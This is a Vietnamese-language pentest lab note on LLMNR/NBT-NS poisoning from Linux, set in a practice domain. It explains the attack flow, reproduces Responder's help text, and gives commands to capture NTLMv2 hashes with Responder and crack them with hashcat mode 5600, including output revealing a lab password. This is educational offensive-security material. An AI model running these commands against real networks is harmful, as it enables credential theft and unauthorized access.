LLMNR/NBT-NS Poisoning - from Linux

LLMNR & NBT-NS Primer

Link-Local Multicast Name Resolution (LLMNR) và NetBIOS Name Service (NBT-NS) là các component của Windows đóng vai trò như "resolver" được sử dụng để xác định các hosts khi DNS lỗi. Nếu có một máy đang cố gắng phân giải một host nhưng DNS lại phân giải không thành công, máy này sẽ cố gắng yêu cầu tất cả các máy khác trong mạng nội bộ lấy địa chỉ host thông qua LLMNR. LLMNR dựa trên định dạng Domain Name System (DNS) và cho phép các máy trên cùng một internal network thực hiện resolve cho các máy khác. LLMNR sử dụng port 5355 (UDP) thay vì port DNS mặc định là 53 . Nếu LLMNR không thành công, NBT-NS sẽ được sử dụng. NBT-NS sẽ xác định hệ thống qua NetBIOS name qua network. NBT-NS sử dụng port 137 (DNS).

Điểm mấu chốt ở đây là khi LLMNR / NBT-NS được sử dụng để resolve, thì BẤT KỲ máy nào trong network đều có thể trả lời. Đây là nơi ta đến với Responder để poison những requests này. Với quyền truy cập mạng ta có thể spoof một nguồn resolve trong broadcast domain bằng cách response lại LLMNR và NBT-NS như thể ta có thể xác định được request của nạn nhân. Việc poinson này thực hiện để khiến nạn nhân communicate với máy của attacker bằng cách mình giả vờ viết câu trả lời cho request này. Nếu host được yêu cầu resolve hoặc hành động xác thực, attacker có thể capture được NetNTLM hash và brute force attack để lấy được cleartext password. Request capture này có thể sử dụng để relay để truy cập vào các máy khác hoặc sử dụng các protocol khác (ví dụ như LDAP) trên máy đó. LLMNR/NBNS spoofing kết hợp với việc thiếu SMB signing, attack có thể chiếm được administrator trên một máy trong domain.

Luồng attack:

  1. Victim cố gắng kết nối với máy in tại \\print01.inlanefreight.local, nhưng gõ sai thành \\printer01.inlanefreight.local .

  2. DNS server phản hồi là không nhận diện được hostname này.

  3. Sau đó, máy của victim sẽ broadcast ra toàn bộ local network để hỏi xem có ai biết vị trí của \\printer01.inlanefreight.local không.

  4. Attacker đang chạy Responder phản hồi lại cho máy của victim \\printer01.inlanefreight.local đây là máy đang tìm kiếm.

  5. Máy của victim sẽ tin vào response này và gửi yêu cầu xác thực bao gồm username và NTLMv2 password hash cho attacker.

  6. Hash này có thể sử dụng để crack hoặc sử dụng để SMB Relay.

TTPs

Attacker sẽ thực hiện các hành động này để collect thông tin xác thực gửi qua network dưới dạng NTLMv1/NTLMv2 password hashed. NTLMv1 và NTLMv2 là các protocol xác thực sử dụng hàm băm LM hoặc NT. Sau đó attacker sẽ lấy hash này để crack với các công cụ như Hashcat hoặc John với mục tiêu là lấy cleartext password của tài khoản để lấy foothold ban đầu hoặc leo quyền nếu tài khoản đó có nhiều quyền hơn.

Các tools có thể sử dụng để LLMNR & NBT-NS poisoning:

Tool

Description

sử dụng để poison LLMNR, NBT-NS, MDNS và nhiều chức năng khác

MITM cross-platform sử dụng để spoofing và poisoning attack

Tool mà ai cũng biết nó để làm gì

Các tools này thường sẽ được cài đặt và sử dụng trên linux, Responder và Inveigh được sử dụng để attack các protocols sau:

  • LLMNR

  • DNS

  • MDNS

  • NBNS

  • DHCP

  • ICMP

  • HTTP

  • HTTPS

  • SMB

  • LDAP

  • WebDAV

  • Proxy Auth

Responder support cho:

  • MSSQL

  • DCE-RPC

  • FTP, POP3, IMAP, and SMTP auth

Usage

$> responder -h
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0

  Author: Laurent Gaffie ([email protected])
  To kill this script hit CTRL-C

Usage: responder -I eth0 -w -r -f
or:
responder -I eth0 -wrf

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
                        BROWSER, LLMNR requests without responding.
  -I eth0, --interface=eth0
                        Network interface to use, you can use 'ALL' as a
                        wildcard for all interfaces
  -i 10.0.0.21, --ip=10.0.0.21
                        Local IP to use (only for OSX)
  -e 10.0.0.22, --externalip=10.0.0.22
                        Poison all requests with another IP address than
                        Responder's one.
  -b, --basic           Return a Basic HTTP authentication. Default: NTLM
  -r, --wredir          Enable answers for netbios wredir suffix queries.
                        Answering to wredir will likely break stuff on the
                        network. Default: False
  -d, --NBTNSdomain     Enable answers for netbios domain suffix queries.
                        Answering to domain suffixes will likely break stuff
                        on the network. Default: False
  -f, --fingerprint     This option allows you to fingerprint a host that
                        issued an NBT-NS or LLMNR query.
  -w, --wpad            Start the WPAD rogue proxy server. Default value is
                        False
  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                        Upstream HTTP proxy used by the rogue WPAD Proxy for
                        outgoing requests (format: host:port)
  -F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
                        retrieval. This may cause a login prompt. Default:
                        False
  -P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt)
                        authentication for the proxy. WPAD doesn't need to be
                        ON. This option is highly effective when combined with
                        -r. Default: False
  --lm                  Force LM hashing downgrade for Windows XP/2003 and
                        earlier. Default: False
  -v, --verbose         Increase verbosity.

Với configuration này, Responder sẽ listen và answer bất kì requests nào mà nó thấy. Responder sẽ trả kết quả ra console và ghi log vào thư mục /usr/share/responder/logs.

Hashed được lưu theo format (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt và một hash được trả ra console nếu như -v không enable. Ví dụ một file log kiểu SMB-NTLMv2-SSP-172.16.5.25. Hashed cũng được lưu trữ trong SQLite db được cấu hình trong file Responder.conf nằm trong /usr/share/responder.

Responder Logs list:

Analyzer-Session.log                Responder-Session.log
Config-Responder.log                SMB-NTLMv2-SSP-172.16.5.200.txt
HTTP-NTLMv2-172.16.5.200.txt        SMB-NTLMv2-SSP-172.16.5.25.txt
Poisoners-Session.log               SMB-NTLMv2-SSP-172.16.5.50.txt
Proxy-Auth-NTLMv2-172.16.5.200.txt

Nếu Responder capture được các hashed, ta có thể thấy được lưu với mỗi host và protocol như trên.

sudo responder -I ens224

Khi đã có các hashed, attacker sẽ sử dụng Hashcat với hard mode 5600 cho NTLMv2 hashed đã capture từ Responder. Nếu có NTLMv1 hashed và các loại hashed khác có thể sử dụng Hashcat example hashes, Cracking Passwords With Hashcat.

Cracking an NTLMv2 Hash

hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
$> hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt 

hashcat (v6.1.1) starting...

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80baa52d732719dbf62c34cc:010100000000000080f519d1432cd80136f3af14556f047800000000020008004900340046004e0001001e00570049004e002d0032004e004c005100420057004d00310054005000490004003400570049004e002d0032004e004c005100420057004d0031005400500049002e004900340046004e002e004c004f00430041004c00030014004900340046004e002e004c004f00430041004c00050014004900340046004e002e004c004f00430041004c000700080080f519d1432cd80106000400020000000800300030000000000000000000000000300000227f23c33f457eb40768939489f1d4f76e0e07a337ccfdd45a57d9b612691a800a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0035002e003200320035000000000000000000:Klmcargo2
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80ba...000000
Time.Started.....: Mon Feb 28 15:20:30 2022 (11 secs)
Time.Estimated...: Mon Feb 28 15:20:41 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1086.9 kH/s (2.64ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10967040/14344385 (76.46%)
Rejected.........: 0/10967040 (0.00%)
Restore.Point....: 10960896/14344385 (76.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: L0VEABLE -> Kittikat

Started: Mon Feb 28 15:20:29 2022
Stopped: Mon Feb 28 15:20:42 2022

Last updated